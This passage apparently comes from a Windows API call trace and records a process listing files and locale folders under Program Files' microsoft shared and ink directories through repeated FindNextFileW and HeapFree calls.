	[0062.193] FindNextFileW (in: hFindFile=0x508bd8, lpFindFileData=0x325fcf8 | out: lpFindFileData=0x325fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x658fd31d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x658fd31d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0062.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.194] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0062.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.196] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1
	[0062.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.197] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0062.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.197] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0062.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.198] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0062.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.198] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0062.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.198] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0062.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.198] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0062.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.198] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0062.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.200] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0062.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.200] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0062.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.201] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0062.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.201] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0062.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.201] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0062.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.201] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0062.201] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x3cb00b8, Size=0x10000) returned 0x42d39f8
	[0062.202] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0062.202] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0062.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.202] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0062.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.203] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0062.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.203] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0062.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.204] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0062.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.236] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0062.236] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.236] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0062.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.239] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0062.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.240] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0062.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.240] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0062.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.241] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0062.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.243] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0062.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.243] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0062.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.244] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0062.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.244] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0062.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.244] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0062.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.245] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0062.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.251] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0062.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.251] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0062.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.252] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0062.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.253] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0062.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.254] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0062.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
